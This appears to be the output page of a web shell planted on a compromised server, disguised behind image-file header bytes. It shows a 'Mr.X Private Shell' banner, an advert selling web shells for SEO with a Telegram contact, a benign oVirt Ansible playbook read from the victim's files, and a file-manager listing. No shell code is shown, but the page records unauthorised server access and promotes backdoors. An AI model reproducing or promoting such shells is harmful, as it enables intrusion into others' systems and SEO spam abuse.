����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
---
- name: Set sensitive vms
ansible.builtin.set_fact:
sensitive_vms: "{{ vms }}"
no_log: true
- name: Check if VMs are correct
ansible.builtin.set_fact:
vms: "{{ vms | ovirt.ovirt.removesensitivevmdata }}"
- name: Main block
block:
- name: Login to oVirt
ovirt_auth:
url: "{{ engine_url | default(lookup('env','OVIRT_URL')) | default(omit) }}"
hostname: "{{ engine_fqdn | default(lookup('env','OVIRT_HOSTNAME')) | default(omit) }}"
username: "{{ engine_user | default(lookup('env','OVIRT_USERNAME')) | default(omit) }}"
password: "{{ engine_password | default(lookup('env','OVIRT_PASSWORD')) | default(omit) }}"
ca_file: "{{ engine_cafile | default(lookup('env','OVIRT_CAFILE')) | default(omit) }}"
insecure: "{{ engine_insecure | default(true) }}"
when: ovirt_auth is undefined or not ovirt_auth
register: loggedin
- name: Split list of VMs
ansible.builtin.set_fact:
create_vms: "{{ create_vms | default([]) + [item] }}"
with_items: "{{ vms }}"
when: (item.state is undefined and item.profile.state is defined and item.profile.state != 'absent')
or (item.state is defined and item.state != 'absent') or (item.state is undefined and item.profile.state is undefined)
# Uses item state first if not defined it will check profile state and use it.
- name: Split list of sensitive VMs
ansible.builtin.set_fact:
create_sensitive_vms: "{{ create_sensitive_vms | default([]) + [item] }}"
with_items: "{{ sensitive_vms }}"
no_log: true
when: (item.state is undefined and item.profile.state is defined and item.profile.state != 'absent')
or (item.state is defined and item.state != 'absent') or (item.state is undefined and item.profile.state is undefined)
# Uses item state first if not defined it will check profile state and use it.
- name: Delete VM
include_tasks: vm_state_absent.yml
with_items: "{{ vms }}"
loop_control:
loop_var: current_vm
when: (current_vm.state is defined and current_vm.state == 'absent')
or (current_vm.profile.state is defined and current_vm.state is undefined and current_vm.profile.state == 'absent')
- name: Include create VM
include_tasks: vm_state_present.yml
when: create_vms is defined
always:
- name: Unset facts
ansible.builtin.set_fact:
create_vms: []
create_sensitive_vms: []
- name: Logout from oVirt
ovirt_auth:
state: absent
ovirt_auth: "{{ ovirt_auth }}"
when: not loggedin.skipped | default(false)
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| affinity_groups.yml | File | 818 B | 0644 |
|
| affinity_labels.yml | File | 386 B | 0644 |
|
| create_inventory.yml | File | 1.69 KB | 0644 |
|
| create_vms.yml | File | 3.78 KB | 0644 |
|
| main.yml | File | 2.58 KB | 0644 |
|
| manage_state.yml | File | 4.44 KB | 0644 |
|
| vm_state_absent.yml | File | 143 B | 0644 |
|
| vm_state_present.yml | File | 5.56 KB | 0644 |
|